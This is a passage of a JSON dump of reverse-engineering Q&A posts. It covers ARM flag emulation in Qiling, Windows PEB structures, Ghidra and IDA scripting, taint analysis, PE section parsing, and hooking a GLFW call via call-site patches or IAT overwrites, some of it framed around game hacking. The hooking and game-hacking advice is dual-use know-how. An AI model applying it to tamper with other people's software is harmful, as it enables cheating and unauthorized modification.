        "Body": "<p>This question was asked before here but in the answers I did get what i was looking for.</p>\n<p>Consider this:</p>\n<pre><code>ADDS R0 RO R1\n</code></pre>\n<p>As far as I know to update the cpsr flags a subtraction has to be made. So after this instruction, is the result subtracted from RO or R1?</p>\n<p>Edit:\nThis is what I understand</p>\n<pre><code>CMP RO R1 \n</code></pre>\n<p>In this instruction, <code>R1</code> is subtracted from <code>R0</code> and based on the results the flags are updated. The thing I dont understand is in operations with S suffix the result after the operation like <code>eg ADDS  on the top</code> is it subtracted from <code>R0</code> or <code>R1</code> to update the flags or i got it all wrong?</p>\n<p>Edit 2:</p>\n<p>For example consider these instructions</p>\n<pre><code>mov r0, #1\nmov r1, #6\ntst r1, r0\nbne 0x6000\n</code></pre>\n<p>From this example, the result of the tst instruction is 7(111 binary). In the branch instruction how can it branch with the NE condition code if there was no comparison between registers.</p>\n",
        "Title": "ADDS(operations with S suffix) -Arm",
        "Tags": "|assembly|arm|register|",
        "Answer": "<p>As I Commented the operation here is R0 == R0+R1<br />\nthe Current Program Status Register or<br />\nApplication Program Status Register are modified based on the result</p>\n<p>Assume for  example</p>\n<p>R0 contains 0xffffffff (maximum possible 32 bit unsigned integer)<br />\nR1 contains 0x00000001</p>\n<p>R0+R1 will be</p>\n<pre><code>&gt;&gt;&gt; print(hex(0xffffffff+0x00000001))\n0x100000000\n&gt;&gt;&gt;\n</code></pre>\n<p>the result is a 33bit or in other words the result is 0x0 and the 33<sup>rd</sup> bit is lost\nsince result is 0 N or Negative flag is not set <strong>N=0</strong></p>\n<p>again since result is 0 zero flag is set to 1 <strong>Z=1</strong></p>\n<p>the upper 33<sup>rd</sup> bit is lost so Carry flag is set <strong>C==1</strong></p>\n<p>signed or v flag doesn't not have any overflow (-1 + 1 ) == 0 so V flag is not set <strong>V=0</strong></p>\n<p><a href=\"https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/condition-codes-1-condition-flags-and-codes\" rel=\"nofollow noreferrer\">this all are explained in this document</a></p>\n<p>there is a source code and demo also attached in the link</p>\n<p>where adds and the cpsr details are retrieved by this assembly stub\nyou can use unicorn or unicorn based qiling to emulate these instruction</p>\n<pre><code>doADDS:\n    @ Perform the operation, leaving the result in r0 to return it.\n    adds    r0, r0, r1\n    \n    @ Get the APSR flags and dump them into flags (*r2).\n    mrs     r3, CPSR\n    str     r3, [r2]\n    \n    @ The recommended (interworking-compatible) return method:\n    bx      lr\n</code></pre>\n<p>a sample emulation and cpsr flags using Qiling Framework</p>\n<pre><code>:\\&gt;type armshell.py\nfrom qiling import *\nfrom qiling.const import QL_VERBOSE\n\n# 0x0000000000000000:  00 00 E0 E3    mvn  r0, #0\n# 0x0000000000000004:  01 10 A0 E3    mov  r1, #1\n# 0x0000000000000008:  01 00 90 E0    adds r0, r0, r1\n# 0x000000000000000c:  00 F0 20 E3    nop\n# 0x0000000000000010:  00 F0 20 E3    nop\n\nshellcode = b&quot;\\x00\\x00\\xe0\\xe3\\x01\\x10\\xa0\\xe3\\x01\\x00\\x90\\xe0\\x00\\xf0\\x20\\xe3\\x00\\xf0\\x20\\xe3&quot;\n\nql = Qiling(\n    code=shellcode,\n    rootfs=r&quot;F:\\QILING\\examples\\rootfs\\x8664_windows&quot;,\n    ostype=&quot;linux&quot;,\n    archtype=&quot;arm&quot;,\n    verbose=QL_VERBOSE.DEBUG\n)\nql.reg.cpsr = 0\nql.reg.r0 = 0\nql.reg.r1 = 0\nprint(&quot;registers before starting&quot;)\nprint(&quot;r0 = 0x{:x}&quot;.format(ql.reg.r0))\nprint(&quot;r1 = 0x{:x}&quot;.format(ql.reg.r1))\nprint(&quot;cpsr = 0x{:x}\\n&quot;.format(ql.reg.cpsr))\n\nfor i in range(1, 5, 1):\n    ql.run(0, len(shellcode), -1, i)\n    print(&quot;r0 = 0x{:x}&quot;.format(ql.reg.r0))\n    print(&quot;r1 = 0x{:x}&quot;.format(ql.reg.r1))\n    print(&quot;cpsr = 0x{:x}\\n&quot;.format(ql.reg.cpsr))\n</code></pre>\n<p>executed</p>\n<pre><code>:\\&gt;python armshell.py\n[+]     Profile: Default\n[+]     Set init_kernel_get_tls\nregisters before starting\nr0 = 0x0\nr1 = 0x0\ncpsr = 0x0\n\nr0 = 0xffffffff\nr1 = 0x0\ncpsr = 0x0\n\nr0 = 0xffffffff\nr1 = 0x1\ncpsr = 0x0\n\nr0 = 0x0\nr1 = 0x1\ncpsr = 0x60000000\n\nr0 = 0x0\nr1 = 0x1\ncpsr = 0x60000000\n</code></pre>\n<p>the cpsr is set with bit 29,30 representing flags Z and C (Zero and Carry)</p>\n<pre><code>&gt;&gt;&gt; hex(1&lt;&lt;30|1&lt;&lt;29)\n'0x60000000'\n&gt;&gt;&gt;\n</code></pre>\n<p>feeding with a ladle</p>\n<pre><code>from qiling import *\nfrom qiling.const import QL_VERBOSE\n\n# 0x0000000000000000:  00 F0 20 E3    nop \n# 0x0000000000000004:  01 00 A0 E3    mov r0, #1\n# 0x0000000000000008:  06 10 A0 E3    mov r1, #6\n# 0x000000000000000c:  00 00 11 E1    tst r1, r0\n# 0x0000000000000010:  FA 17 00 1A    bne #0x6000\n# 0x0000000000000014:  00 F0 20 E3    nop \n\nshellcode = b&quot;\\x00\\xf0\\x20\\xe3\\x01\\x00\\xa0\\xe3\\x06\\x10\\xa0\\xe3\\x00\\x00\\x11\\xe1\\xfa\\x17\\x00\\x1a\\x00\\xf0\\x20\\xe3&quot;\n\nql = Qiling(\n    code=shellcode,\n    rootfs=r&quot;F:\\QILING\\examples\\rootfs\\x8664_windows&quot;,\n    ostype=&quot;linux&quot;,\n    archtype=&quot;arm&quot;,\n    verbose=QL_VERBOSE.DEBUG\n)\nql.reg.cpsr = 0\nql.reg.r0 = 0\nql.reg.r1 = 0\nprint(&quot;registers before starting&quot;)\nprint(&quot;r0 = 0x{:x}&quot;.format(ql.reg.r0))\nprint(&quot;r1 = 0x{:x}&quot;.format(ql.reg.r1))\nprint(&quot;cpsr = 0x{:x}\\n&quot;.format(ql.reg.cpsr))\n\nfor i in range(1, 5, 1):\n    ql.run(0, len(shellcode), -1, i)\n    print(&quot;r0 = 0x{:x}&quot;.format(ql.reg.r0))\n    print(&quot;r1 = 0x{:x}&quot;.format(ql.reg.r1))\n    print(&quot;cpsr = 0x{:x}\\n&quot;.format(ql.reg.cpsr))\n</code></pre>\n<p>emulation  of tst instruction.</p>\n<pre><code>F:\\QILING\\testqiling&gt;python armtstop.py\n[+]     Profile: Default\n[+]     Set init_kernel_get_tls\nregisters before starting\nr0 = 0x0\nr1 = 0x0\ncpsr = 0x0\n\nr0 = 0x0\nr1 = 0x0\ncpsr = 0x0\n\nr0 = 0x1\nr1 = 0x0\ncpsr = 0x0\n\nr0 = 0x1\nr1 = 0x6\ncpsr = 0x0\n\nr0 = 0x1\nr1 = 0x6\ncpsr = 0x40000000 &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; \n</code></pre>\n"
    },
    {
        "Id": "29687",
        "CreationDate": "2021-12-08T12:05:02.603",
        "Body": "<p>I've been implementing some Windows internals code and when I have tried to document this structure I have not been able to do so because of those two members. I can't find anything about them.</p>\n<p>This is the definition of the structure I'm talking about:</p>\n<pre><code>typedef struct _PEB_LDR_DATA {\n    DWORD      dwLength;\n    DWORD      dwInitialized;\n    LPVOID     lpSsHandle;\n    LIST_ENTRY InLoadOrderModuleList;\n    LIST_ENTRY InMemoryOrderModuleList;\n    LIST_ENTRY InInitializationOrderModuleList;\n    LPVOID     lpEntryInProgress;\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\n</code></pre>\n<p>Does anyone know its actual use or content?</p>\n",
        "Title": "Unknown usage of dwLength and SsHandle members in PEB_LDR_DATA",
        "Tags": "|windows|",
        "Answer": "<p>I know length is sizeof(struct)</p>\n<pre><code>0:000&gt; ?? sizeof(ntdll!_PEB_LDR_DATA)\nunsigned int64 0x58\n0:000&gt; dt -r nt!_peb Ldr-&gt;Length @$peb\nntdll!_PEB\n   +0x018 Ldr         :\n      +0x000 Length      : 0x58\n0:000&gt; \n</code></pre>\n<p>edit</p>\n<p><a href=\"https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntpsapi_x/peb_ldr_data.htm\" rel=\"nofollow noreferrer\">As per Geoff Chappel there is No known Usage of SSHandle</a><br />\nso just leave it as PVOID</p>\n"
    },
    {
        "Id": "29690",
        "CreationDate": "2021-12-09T09:13:06.200",
        "Body": "<p>This is the window that appears when you press <code>Shift</code> + <code>/</code>.</p>\n<p>Example:</p>\n<p><img src=\"https://hex-rays.com/wp-content/uploads/2021/01/calc_simple.png\" alt=\"screenshot\" /></p>\n",
        "Title": "Does Ghidra have an equivalent to IDA's \"Evaluate Expression\" feature?",
        "Tags": "|ida|ghidra|",
        "Answer": "<p>I am not sure if there is something inbuilt, but you can write a simple Python script and assign a key binding to that script\nas below:</p>\n<pre><code>#TODO evaluates a string expression as Numeral and formats it in multiple radix\n#@author  blabb\n#@category _NEW_\n#@keybinding Shift-SLASH\n\nimport ghidra\nexp = askString(&quot;Expression&quot;,&quot;Expression&quot;)\nprint(&quot;Expression is %s&quot; % exp)\nval = eval(exp)\nprint(ghidra.util.NumericUtilities.formatNumber(val,2))\nprint(ghidra.util.NumericUtilities.formatNumber(val,8))\nprint(ghidra.util.NumericUtilities.formatNumber(val,10))\nprint(ghidra.util.NumericUtilities.formatNumber(val,16))\n</code></pre>\n<p>Executed and screenshotted as below:</p>\n<p><a href=\"https://i.stack.imgur.com/sp8nr.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/sp8nr.gif\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "29700",
        "CreationDate": "2021-12-10T13:09:13.560",
        "Body": "<p>Introduction to problem: I have a binary executable with an unknown network packet protocol. I want to reverse engineer this packet protocol. My current way of doing it is to send some data and step through the instructions in disassembly to try to figure out what the application is doing with this data, and gradually construct the correct protocol. This solution is extremely inefficient. So I want to automate at least a part of this process.</p>\n<p>Assuming that my network receive function is:\n<code>int recv(SOCKET s, char * buf, int len, int flags);</code></p>\n<p>What I want to do is to automate instruction tracking for all instructions reading the chunk of memory pointed by <code>char * buf</code></p>\n<pre><code>mov eax, [globalRecvBufferPointer]\nmov dl, [eax]\ncmp dl, 20h\njz somewhere\n</code></pre>\n<p>In the example above, I want my automated tool to detect <code>mov dl, [eax]</code> and <code>cmp dl, 20h</code> instructions.<br />\nAdding a hardware r/w breakpoint to <code>char * buf</code> lets me detect <code>mov dl, [eax]</code> but not the other.<br />\nAnother problem I can think of at this stage is when memory pointed by <code>char * buf</code> is copied to stack or other memory locations.</p>\n<p>Are there ready-made tools for this kind of operation? If not, are there tools where I can implement this idea?</p>\n",
        "Title": "Automated instruction analysis of dynamic memory",
        "Tags": "|packet|automation|",
        "Answer": "<p>Sounds like you want dynamic taint analysis. There is a well-supported, open-source option called <a href=\"https://github.com/panda-re/panda\" rel=\"nofollow noreferrer\">Panda</a>. If you have money to spend, check out the commercial offering <a href=\"https://www.tetrane.com/\" rel=\"nofollow noreferrer\">Reven</a>.</p>\n"
    },
    {
        "Id": "29707",
        "CreationDate": "2021-12-11T15:42:16.797",
        "Body": "<p>How to hook to external library function, such as OpenGL for example.</p>\n<p>I have a function used by the program I am trying to change behaviour of. The function is:</p>\n<pre><code>lVar17 = glfwCreateWindow(uVar22,uVar25,pplVar29,uVar30,0);\n</code></pre>\n<p>Now, I want to change that function without changing the caller function. I.e. the caller function and the call above will remain exactly the same, but the glfwCreateWindow will return something different, i.e. it will be re-written like this:</p>\n<pre><code>glfwCreateWindow (uVar22,uVar25,pplVar29,uVar30,0) {\n\n    GLFWwindow* window = glfwCreateWindow(uVar22,uVar25,pplVar29,uVar30,0);\n    HWND hwnd = FindWindow(NULL, WindowName);\n    GLFWwindow* atchdHwd = glfwAttachWin32Window(hwnd, window); \n    return atchdHwd;\n}\n</code></pre>\n<p>Any way of doing this?</p>\n",
        "Title": "How to hook to a system function",
        "Tags": "|c++|dll|function-hooking|dll-injection|",
        "Answer": "<p>Two possibilities:</p>\n<ol>\n<li>Patch the <code>call</code> instruction to point to a destination of your choosing, such as a &quot;code cave&quot; between the end of the <code>.text</code> section and the subsequent section. Write your function there, or <code>jmp</code> to your DLL / a piece of allocated memory containing your function.</li>\n<li>Overwrite the IAT entry for <code>glfwCreateWindow</code>, and point it to your new function. Note that this will affect all calls to that function. If you want to affect only individual call sites, you can, for example, check the return address of the caller to ensure that it's the specific call site that you want.</li>\n</ol>\n"
    },
    {
        "Id": "29712",
        "CreationDate": "2021-12-13T11:30:43.343",
        "Body": "<p>IDA Pro can automatically download and load <code>.pdb</code> files from symbol server.\nAnd now I want to write an IDAPython plugin to obtain some data from the <code>.pdb</code> file.</p>\n<p>But I don't know how to get the file path of the already loaded <code>.pdb</code> file.<br />\nCan I get it using IDAPython?</p>\n",
        "Title": "Can I get loaded pdb file path from IDAPython?",
        "Tags": "|ida|idapython|ida-plugin|",
        "Answer": "<p>i just checked idafree 76 and i dont see an idc function to get the pdb file name<br />\nbut as i commented it is printed in the header you can copy paste it</p>\n<pre><code>.text:0000000140001000 ; Alignment     : default\n.text:0000000140001000 ; PDB File Name : C:\\xx\\Desktop\\mulcall\\mcall.pdb\n</code></pre>\n<p>or you can search text for string(&quot;.pdb&quot;) path is normally available in <strong>.rdata</strong> section IMAGE_DEBUG_DIRECTORY</p>\n<p>using idc function like as below</p>\n<pre><code>auto cline;\ncline = find_text(MinEA()+0x1000,1,0,0,&quot;.PDB&quot;);\njumpto(cline);\nMessage(&quot;%x\\t%s\\n&quot; , cline , get_curline());\n</code></pre>\n<p>which should yield</p>\n<pre><code>14000206c .rdata:000000014000206C text &quot;UTF-8&quot;,'C:\\xxx\\Desktop\\mulcall\\mcall.pdb',0 ; PdbFileName\n</code></pre>\n<p>be aware this is from debug directory and may not be correct in malwares , stripped , public , etc , manipulated binaries</p>\n<p>for example a public pdb might return</p>\n<pre><code>1802420f0   .rdata:00000001802420F0   text &quot;UTF-8&quot;, 'kernelbase.pdb',0 ; PdbFileName\n</code></pre>\n<p>in such cases like public pdbs of ms binaries best option is to use\ndumpbin /pdbpath</p>\n<pre><code>dumpbin /pdbpath c:\\Windows\\System32\\KernelBase.dll\n\nDump of file c:\\Windows\\System32\\KernelBase.dll\n\nFile Type: DLL\n  PDB file found at 'f:\\symbols\\kernelbase.pdb\\993F0EEA8C3C260F6D52724A7CA166601\\kernelbase.pdb'\n</code></pre>\n"
    },
    {
        "Id": "29715",
        "CreationDate": "2021-12-13T19:39:23.487",
        "Body": "<p>I have this class with constructor offsets and attributes:</p>\n<pre><code>public class example \n{\n    // Fields\n    public float Attribute_1 = 1.5f; // 0x8\n    public int Attribute_2 = 102 ; // 0xC\n\n    \n    // RVA: 0x198EF70 Offset: 0x198EF70 VA: 0x9BF8EF70\n    public void .ctor() { }\n}\n</code></pre>\n<p>The question is how to access predefined attributes <code>Attribute_1</code> and  <code>attribute_2</code> in IDA.</p>\n",
        "Title": "How To Access Predefined Class Attributes From IDA Pro After Loading The Binary Without Debugger Attached To Process",
        "Tags": "|ida|disassembly|assembly|debugging|binary|",
        "Answer": "<p>The answer is in IDA <strong>Jump to the constructor address</strong>, in my case <code>0x198ef70,</code> then translate to <strong>pseudocode</strong>, and you will find all the attributes with their values related to <strong><code>example</code> class.</strong></p>\n"
    },
    {
        "Id": "29733",
        "CreationDate": "2021-12-18T18:46:01.303",
        "Body": "<p>So, in <code>.data</code> section there is some variable, and after it there is <code>db</code> or <code>dd</code> (<code>offset</code>). What exactly does this mean? And what does \u201calign\u201d means? Is there any Wiki or something like that that tells all this in detail?</p>\n<pre><code>    .data:0048A374                 db    0\n    .data:0048A375                 db    0\n    .data:0048A376                 db    0\n    .data:0048A377                 db    0\n    .data:0048A378 off_48A378      dd offset unk_48A000    ; DATA XREF: start+41\u2191o\n    .data:0048A37C                 dd offset unk_48A1CE\n    .data:0048A380                 dd offset unk_48A1CE\n    .data:0048A384                 dd offset unk_48A33C\n    .data:0048A388 byte_48A388     db 1                    ; DATA XREF: __InitVCL+3\u2191r\n    .data:0048A389                 align 10h\n    .data:0048A390                 dd offset WinMain\n    .data:0048A394                 dd offset __matherr\n    .data:0048A398                 dd offset __matherrl\n    .data:0048A39C                 align 10h\n    .data:0048A3A0                 dd offset unk_48F66C\n    .data:0048A3A4                 dd offset off_490784\n    .data:0048A3A8                 dd offset off_490788\n    .data:0048A3AC                 dd offset __handle_setargv\n    .data:0048A3B0                 dd offset __handle_exitargv\n    .data:0048A3B4                 dd offset __handle_wsetargv\n    .data:0048A3B8                 dd offset __handle_wexitargv\n    .data:0048A3BC                 dd offset dword_48F0EC\n    .data:0048A3C0 byte_48A3C0     db 0                    ; DATA XREF: ___CRTL_VCL_Init_2+2\u2191r\n    .data:0048A3C0                                         ; __InitVCL+17\u2191r\n    .data:0048A3C1 byte_48A3C1     db 0                    ; DATA XREF: .text:00401060\u2191r\n    .data:0048A3C1                                         ; ___CRTL_VCL_Init_2+B\u2191r ...\n    .data:0048A3C2                 dd offset unk_4906E4\n    .data:0048A3C6                 dd offset unk_4907AC\n    .data:0048A3CA                 dd offset unk_4904F0\n    .data:0048A3CE                 db    0\n    .data:0048A3CF ; DWORD dwTlsIndex\n    .data:0048A3CF dwTlsIndex      dd 0                    ; DATA XREF: start:loc_401012\u2191r\n    .data:0048A3CF                                         ; .text:00401082\u2191r ...\n    .data:0048A3D3 dword_48A3D3    dd 0                    ; DATA XREF: start+1A\u2191w\n    .data:0048A3D7 dword_48A3D7    dd 0                    ; DATA XREF: start+4D\u2191w\n    .data:0048A3D7                                         ; .text:__getHInstance\u2191r ...\n    .data:0048A3DB                 db  90h ; \u0452\n    .data:0048A3DC ; Exported entry 156. ___CPPdebugHook\n    .data:0048A3DC                 public ___CPPdebugHook\n    .data:0048A3DC ___CPPdebugHook db    0                 ; DATA XREF: start+E\u2191o\n    .data:0048A3DC                                         ; sub_46AF30+20\u2191o ...\n    .data:0048A3DD                 db    0\n    .data:0048A3DE                 db    0\n    .data:0048A3DF                 db    0\n</code></pre>\n",
        "Title": "In IDA what does db and dd offset means in data section?",
        "Tags": "|ida|",
        "Answer": "<ul>\n<li><code>db</code> means \u201c<strong>d</strong>efine <strong>b</strong>yte\u201d, i.e. a reservation of <strong>1</strong> byte of memory,</li>\n<li><code>dw</code> means \u201c<strong>d</strong>efine <strong>w</strong>ord\u201d (<strong>2</strong> bytes of memory),</li>\n<li><code>dd</code> means \u201c<strong>d</strong>efine <strong>d</strong>ouble-word\u201d (<strong>4</strong> bytes of memory).</li>\n</ul>\n<p>The <code>offset</code> prefix means to fill the reserved byte(s) <em>not with the mentioned data itself (i.e., <em>not with the content</em>),</em> but only with the <em>offset</em> to it (i.e., with the <strong>position</strong> of data in memory, expressed as the number of bytes from the beginning of the segment).</p>\n<p>The <code>align</code> directive means \u201cIf this address is not a multiple of the given number, skip the necessary number of bytes to fulfill this address requirement for the next data\u201d.</p>\n<hr />\n<p>You may see it in your listing:</p>\n<ul>\n<li><p><code>db 1</code>  is at address <code>0048a388</code>, it occupies only <strong>1</strong> byte (<code>db</code> \u2013 <strong>d</strong>efine <strong>b</strong>yte, i.e., <strong>1</strong> byte) and fills  it with the given value (<code>1</code>). So the next address is <code>0048a389</code>.</p>\n</li>\n<li><p>At this next address (<code>0048a389</code>) is the <code>align 10h</code> directive, so the byte at this address and the subsequent 6 bytes at addresses</p>\n<ul>\n<li><code>0048a38a</code>, <code>0048a388b</code>, <code>0048a38c</code>, <code>0048a38d</code>, <code>0048a38e</code>, and <code>0048a38f</code></li>\n</ul>\n<p>are <em>skipped,</em> because they <em>don't fulfill</em> the request \u201ca multiple of 10h\u201d (i.e., their last digit in hexadecimal notation is <em>not</em> <code>0</code>).</p>\n</li>\n<li><p>At the next address <code>0048a390</code> (which finally fulfills the <code>align 10h</code> requirement) is the directive</p>\n<ul>\n<li><code>dd offset WinMain</code>,</li>\n</ul>\n<p>which reserves 4 bytes of memory (<code>dd</code> \u2013 <strong>d</strong>efine <strong>d</strong>ouble word), and fills them with the <em>offset</em> of the (start of) <code>WinMain</code> function (<code>offset WinMain</code>).</p>\n</li>\n</ul>\n"
    },
    {
        "Id": "29738",
        "CreationDate": "2021-12-19T08:14:44.060",
        "Body": "<p>I have some assembly code as a .txt file (i.e. a list of the instructions, stuff like this):</p>\n<pre><code>00000003  E8D001            call 0x1d6\n00000006  A08000            mov al,[0x80]\n00000009  0C00              or al,0x0\n0000000B  750B              jnz 0x18\n0000000D  90                nop\n</code></pre>\n<p>How would I import this into ghidra? (i.e. copy the code into the code browser window). I originally started with a .COM file, but I couldn't successfully import into Ghidra. My end goal is to compile it up to C.</p>\n",
        "Title": "How to import x86asm into Ghidra?",
        "Tags": "|assembly|x86|ghidra|dos-com|",
        "Answer": "<p>This approach won't work. Ghidra analyzes machine code, not ASCII text.</p>\n"
    },
    {
        "Id": "29746",
        "CreationDate": "2021-12-20T13:26:16.407",
        "Body": "<p>I have been trying to reverse engineer a game for a while now. I have a pattern already for the function I want to find:</p>\n<pre><code>\\x89\\x54\\x24\\x10\\x4C\\x89\\x44\\x24\\x18\\x4C\n\\x89\\x4C\\x24\\x20\\x48\\x83\\xEC\\x28\\x48\\x85\n\\xC9\\x75\\x08\\x8D\\x41\\x2B\\x48\\x83\\xC4\\x28\n\\xC3\\x4C\n</code></pre>\n<p>Can I find the function with that pattern using IDA or x64dbg?</p>\n",
        "Title": "Finding function from pattern",
        "Tags": "|ida|x64dbg|game-hacking|",
        "Answer": "<p>In IDA, you can find sequences of bytes via <code>Search-&gt;Sequence of bytes</code>. That said, if your byte pattern is poorly-chosen (for reasons such as that it includes relocatable byte sequences, or it was created for a different version of the software), the result of the search may well be that the pattern cannot be found in the target binary.</p>\n"
    },
    {
        "Id": "29749",
        "CreationDate": "2021-12-20T18:43:11.770",
        "Body": "<p>I am attempting to find a function in a specific game. Is there any way that, using the assembly code I get from decompiling the game in either IDA or x64dbg, I can locate a function I am specifically looking for?</p>\n",
        "Title": "How do I find a function and find out what it does using reverse engineering?",
        "Tags": "|ida|x64dbg|functions|game-hacking|",
        "Answer": "<p>I'm kinda new to reverse engineering, but I'll tell you what I know.</p>\n<p>First things:</p>\n<p>The code is not decompiled, it is just a machine code, but a readable one.</p>\n<p>If you have an older version of that function, you can scan for it to get the updated version.</p>\n<p>So to get a function, you need to get the closest thing from it, for example, if you want to get the function that kills your player, you should start to search for a dead state/health/etc. in your player object, get what writes to it, and that should be connected to the kill function somehow, and you go from that function.</p>\n<p>Now let's say you want to find a GUI or something close, use strings they are the best you can use, by finding a string, for example \u201cHealth:\u201d, you could find a reference from it to what draws the GUI.</p>\n<p>Remember, strings may be obfuscated and/or their references may be obfuscated, too.</p>\n<p>I recommend you learn more about reverse engineering before posting, there are tons of articles and videos about it.</p>\n<p>Hopefully, this helps you.</p>\n"
    },
    {
        "Id": "29750",
        "CreationDate": "2021-12-20T18:49:48.473",
        "Body": "<p>So I am wondering how can I get all sections and their info from a dumped PE file on the disk, using C++.</p>\n<p>I have the entire PE loaded on a buffer, the NT headers, and hopefully the DOS headers.</p>\n<p>I need this so I can transform a raw offset of the file into an offset that I can add to the base address and get my result.</p>\n",
        "Title": "How do I get all sections in a PE file using C++?",
        "Tags": "|windows|c++|executable|winapi|address|",
        "Answer": "<p>Assuming you have a binary dump created by say WinDbg <code>.writemem</code></p>\n<pre><code>0:000&gt; lm m cdb\nstart             end                 module name\n00007ff6`af510000 00007ff6`af53e000   cdb        (deferred)\n\n0:000&gt; .writemem c:\\dumped.bin 00007ff6`af510000 l?(00007ff6`af53e000-00007ff6`af510000)\nWriting 2e000 bytes............................................................................................\n0:000&gt;\n</code></pre>\n<p>C++ does not have the glue to parse PE files. You may need to use the Windows API or roll your own parsing routines.</p>\n<p>For example the first few bytes of the dump should be <code>IMAGE_DOS_HEADER</code> for it to be a valid PE file.</p>\n<p>I will dump the section of the aforementioned dump using <a href=\"https://github.com/erocarrera/pefile\" rel=\"nofollow noreferrer\"><code>pefile</code> by Ero</a> a versatile PE parsing Python module.</p>\n<p>Dumping the first section using the above module from command line</p>\n<pre><code>C:\\&gt;python -c &quot;import pefile;print(pefile.PE(r\\&quot;c:\\\\dumped.bin\\&quot;).sections[0]&quot;)\n[IMAGE_SECTION_HEADER]\n0x200      0x0   Name:                          .text\n0x208      0x8   Misc:                          0xC1FF\n0x208      0x8   Misc_PhysicalAddress:          0xC1FF\n0x208      0x8   Misc_VirtualSize:              0xC1FF\n0x20C      0xC   VirtualAddress:                0x1000\n0x210      0x10  SizeOfRawData:                 0xC200\n0x214      0x14  PointerToRawData:              0x400\n0x218      0x18  PointerToRelocations:          0x0\n0x21C      0x1C  PointerToLinenumbers:          0x0\n0x220      0x20  NumberOfRelocations:           0x0\n0x222      0x22  NumberOfLinenumbers:           0x0\n0x224      0x24  Characteristics:               0x60000020\n</code></pre>\n<p>If you are going to use C basic routines</p>\n<p>You may need to <code>fopen(....)</code> and <code>fread();</code>, then cast the bytes as DOS header, read <code>e_lfanew</code> as offset to the PE header, then continue to cast, read and parse until you finish.</p>\n<p>A sample DOS header to PE header offset routine may look like:</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;windows.h&gt;\n#define BUSIZ 0x50\n#define MAXREAD 0x40\n\nint main(void)\n{\n    FILE *infile = NULL;\n    errno_t err = fopen_s(&amp;infile, &quot;c:\\\\dumped.bin&quot;, &quot;rb&quot;);\n    if (err == 0 &amp;&amp; infile != NULL)\n    {\n        unsigned char buf[BUSIZ] = {0};\n        size_t siz = 0;\n        siz = fread_s(buf, BUSIZ, 1, MAXREAD, infile);\n        if (siz != 0)\n        {\n            for (int i = 0; i &lt; 16; i++)\n            {\n                printf(&quot;%02x &quot;, buf[i]);\n            }\n            for (int i = 0; i &lt; 16; i++)\n            {\n                printf(&quot;%c &quot;, buf[i]);\n            }\n            printf(&quot;\\n&quot;);\n        }\n        PIMAGE_DOS_HEADER dhead = (PIMAGE_DOS_HEADER)&amp;buf;\n        printf(&quot;%x\\n&quot;, dhead-&gt;e_magic);\n        printf(&quot;offset to PE Header from start = %x\\n&quot;, dhead-&gt;e_lfanew);\n    }\n    else\n    {\n        printf(&quot;file not opened failure \\n&quot;);\n    }\n}\n</code></pre>\n<p>compiled and executed</p>\n<pre><code>:\\&gt;cl /Zi /W4 /analyze /Od /EHsc /nologo parse.cpp /link /release\nparse.cpp\n\n:\\&gt;parse.exe\n4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 M Z \u00c9                    \n5a4d\noffset to PE Header from start = f8\n</code></pre>\n<p>edit</p>\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/22130/how-to-find-the-starting-address-of-text-section-of-a-dll-inside-a-process-64/22140#22140\">a different demo for IMAGE_FIRST_SECTION</a></p>\n<p>edit\nsrc that uses IMAGE_FIRST_SECTION to retrieve all section with 16 initial bytes at each section</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;windows.h&gt;\n#define BUSIZ 0x500\n#define MAXREAD 0x400\nFILE *infile = NULL;\nunsigned char buf[BUSIZ] = {0};\nunsigned char tmpbuf[BUFSIZ] = {0};\nvoid hexdump(int bpos, unsigned char *inbuf){\n    memset(inbuf, 0, BUSIZ);\n    fseek(infile, bpos, SEEK_SET);\n    size_t siz = fread_s(inbuf, BUSIZ, 1, MAXREAD, infile);\n    if (siz != 0)    {\n        for (int i = 0; i &lt; 16; i++) {\n            printf(&quot;%02x &quot;, inbuf[i]);\n        }\n        printf(&quot;\\n&quot;);\n    }\n}\nint main(void){\n    errno_t err = fopen_s(&amp;infile, &quot;c:\\\\dumped.bin&quot;, &quot;rb&quot;);\n    if (err == 0 &amp;&amp; infile != NULL){\n        hexdump(0, buf);\n        PIMAGE_DOS_HEADER dhead = (PIMAGE_DOS_HEADER)&amp;buf;\n        hexdump(dhead-&gt;e_lfanew, buf);\n        PIMAGE_NT_HEADERS64 nthead = (PIMAGE_NT_HEADERS64)&amp;buf;\n        PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(nthead);\n        for (WORD i = 0; i &lt; nthead-&gt;FileHeader.NumberOfSections; i++){\n            printf(&quot;%-8s\\t%x\\t%x\\t%x\\n&quot;, Section-&gt;Name, Section-&gt;VirtualAddress,\n                   Section-&gt;PointerToRawData, Section-&gt;SizeOfRawData);\n            hexdump(Section-&gt;VirtualAddress, tmpbuf);\n            Section++;\n        }\n    }\n}\n</code></pre>\n<p>compiled and executed</p>\n<pre><code>&gt;cl /Zi /W4 /analyze /Od /EHsc /nologo parse.cpp /link /release\nparse.cpp\n\n&gt;parse.exe\n4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 \n50 45 00 00 64 86 08 00 00 1d 9c 8d 00 00 00 00 \n.text           1000    400     c200\ncc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc \n.rdata          e000    c600    f800\nb0 ff 52 af f6 7f 00 00 50 00 53 af f6 7f 00 00\n.data           1e000   1be00   2000\n60 e0 51 af f6 7f 00 00 90 e0 51 af f6 7f 00 00\n.pdata          27000   1de00   800\n10 10 00 00 88 10 00 00 4c ba 01 00 90 10 00 00\n.didat          28000   1e600   200\n92 ce 51 af f6 7f 00 00 00 00 00 00 00 00 00 00\n.mrdata         29000   1e800   2e00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n.rsrc           2c000   21600   1000\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00\n.reloc          2d000   22600   a00\n00 e0 00 00 28 02 00 00 00 a0 08 